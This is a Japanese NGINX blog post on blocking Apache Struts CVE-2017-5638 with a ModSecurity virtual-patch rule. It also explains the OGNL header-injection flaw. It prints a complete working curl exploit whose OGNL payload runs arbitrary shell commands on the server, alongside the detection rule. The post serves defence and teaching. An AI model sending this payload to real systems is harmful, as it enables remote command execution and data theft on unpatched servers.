ブログ | NGINX

ModSecurity を使用して Apache Struts CVE-2017-5638 を仮想的にパッチする

NGINX-F5 水平黒タイプ RGB の一部
ファイサル・メモン サムネイル
ファイサル・メモン
2018年1月22日公開

[編集者注– NGINX Plus 用のNGINX ModSecurity WAFモジュールは、 2022 年 4 月 1 日をもって正式に販売終了となり、 2024 年 3 月 31 日をもってサポート終了となります。 詳細については、弊社ブログの「F5 NGINX ModSecurity WAF はサポート終了に移行しています<.htmla>」をご覧ください。

アプリケーション コードで使用されるライブラリには、多くのセキュリティ脆弱性が見つかります。 ライブラリ内のコードに修正を迅速に展開することが現実的でない場合は、影響を受けるライブラリをアップグレードできるまで、ModSecurity を使用してエクスプロイトを阻止し、影響を受けるコードに「仮想的にパッチを適用」できる場合があります。

Equifax の 1 億 4,300 万件のアカウントの侵害につながった Apache Struts アプリケーション ライブラリの脆弱性 ( CVE-2017-5638 ) は、事実上パッチを適用できるエクスプロイトの例です。 脆弱性の特徴は、 Content-TypeContent-Disposition 、またはContent-Length HTTP ヘッダーに#cmd=または#cmds=文字列が存在することです。 (詳細は下記をご覧ください。)

ModSecurity を使用すると、影響を受ける HTTP ヘッダー内の悪意のある文字列を検索する単純なルールを使用して仮想パッチを作成できます。

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

SecRuleを使用してルールを定義し、次の 3 つのパラメータを指定します。

  1. 検索するリクエスト ヘッダー。3 つのREQUEST_HEADERS変数を OR で結合した形式です。
  2. @rxで指定される PERL 互換正規表現 (PCRE)。指定されたリクエスト ヘッダーで#cmd=または#cmds=を含む文字列を検索します。
  3. 取るべき行動

ModSecurity がアクティブ ブロッキング モードで構成されている場合、PCRE に一致するすべてのトラフィックがドロップされ、ルールがトリガーされます。

NGINX と ModSecurity を一緒に使い始める方法については、次の eBook をご覧ください。 ModSecurity 3.0 および NGINX: クイックスタートガイド

なぜ仮想パッチなのか?

多くの場合、影響を受けるコードにパッチを適用し、再テストしてから本番環境にデプロイするよりも、ModSecurity でルールをデプロイする方が迅速です。

Apache Struts の脆弱性を例に考えてみましょう。Struts はアプリケーション ライブラリであり、オペレーティング システム パッケージではないため、企業の運用環境で Struts を更新するには時間がかかることがあります。 Struts の新しいバージョンへのアップグレードの一環として、Struts に依存する各アプリケーションを最新の Struts ライブラリを使用して再構築し、テストする必要があります。 大規模な組織では、数百のアプリケーションが存在し、それぞれに独自のバージョンの Struts アプリケーション ライブラリがあるため、すべてのアプリケーションが更新されるまで脆弱な状態になります。

ModSecurity カスタム ルールを導入すると、脆弱性のプレッシャーを感じることなく、本番ソフトウェアに慎重に、かつ適切なスケジュールでパッチを適用できるようになります。 影響を受けるソフトウェアがすべて更新されると、カスタム ルールを廃止できます。

CVE-2017-5638 エクスプロイトの仕組み

Apache Struts CVE-2017-5638 は、リモート コマンド実行 (RCE) の脆弱性です。 このタイプの脆弱性により、攻撃者はターゲットシステム上で/bin/bashcmd.exeなどの任意のコマンドを実行できるようになります。 この機能により、攻撃者は Java アプリケーション サーバーと同じレベルのアクセスで、ファイル システムとネットワークを検索して機密データを探すことができます。 たとえば、Java アプリケーション サーバーがrootとして実行されている場合、攻撃者はターゲット システムに対してroot権限を持ちます。

公式の CVEによると、この脆弱性は、攻撃者が不正なContent-TypeContent-Disposition 、またはContent-Length HTTP ヘッダーを送信したときに発生します。 Apache Struts は、HTTP ヘッダーが予想される値のいずれとも一致しない場合に例外をスローします。 この問題は、例外処理コードがエスケープされていない無効なヘッダーを印刷しようとするため発生します。 (この文脈では、「エスケープされていない」とは、疑わしいコマンドの先頭に、通常コードを印刷するときに行われるような、実行を妨げる文字 (エスケープ文字) が付加されていないことを意味します。)

攻撃者は、 Content-TypeヘッダーにObject Graph Navigation Library (OGNL) 式を挿入できます。 OGNL にはシステム コマンドを実行する機能があります。 エスケープされていない無効なヘッダーが印刷されると、OGNL 式が評価され、OGNL 式内のすべてのシステム コマンドが実行されます。

エクスプロイトは通常、以下のcurlコマンドのバリエーションです。

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

重要な構文はコマンドの後半にあります。文字列#cmd=#cmds=がそれぞれ 1 つずつあります (上記で強調表示)。 各文字列の後には実行するシステム コマンドが続きます。

まとめ

推奨される解決策は、脆弱なソフトウェアにすぐにパッチを適用することです。 しかし、運用ソフトウェアにパッチを適用するには時間がかかり、急いで更新するとリスクが生じる可能性があります。 ModSecurity を使用して脆弱なソフトウェアの仮想パッチを作成すると、時間を稼ぐことができます。

仮想パッチを使用すると、 CVE-2017-5638などのセキュリティ脆弱性を悪用する可能性のあるトラフィックをブロックするカスタム ModSecurity ルールを作成できます。 そうすることで、サイトを攻撃から保護できます。 その後、その間に被害を受ける恐れなく、適切なスケジュールで本番サーバーにパッチを慎重に適用できます。

ModSecurity と NGINX ModSecurity WAF について詳しく知りたい場合は、電子書籍「ModSecurity 3.0 と NGINX」をダウンロードしてください。 クイックスタートガイド

リソース

[NGINX Plus 用の NGINX ModSecurity WAF モジュールは、2022 年 4 月 1 日をもって正式に販売終了となり、 2024 年 3 月 31 日をもってサポート終了となります。 詳細については、弊社ブログの「F5 NGINX ModSecurity WAF はサポート終了に移行しています<.htmla>」をご覧ください。


「このブログ投稿には、入手できなくなった製品やサポートされなくなった製品が参照されている場合があります。 利用可能な F5 NGINX 製品およびソリューションに関する最新情報については、 NGINX 製品ファミリーをご覧ください。 NGINX は現在 F5 の一部です。 以前の NGINX.com リンクはすべて、F5.com の同様の NGINX コンテンツにリダイレクトされます。"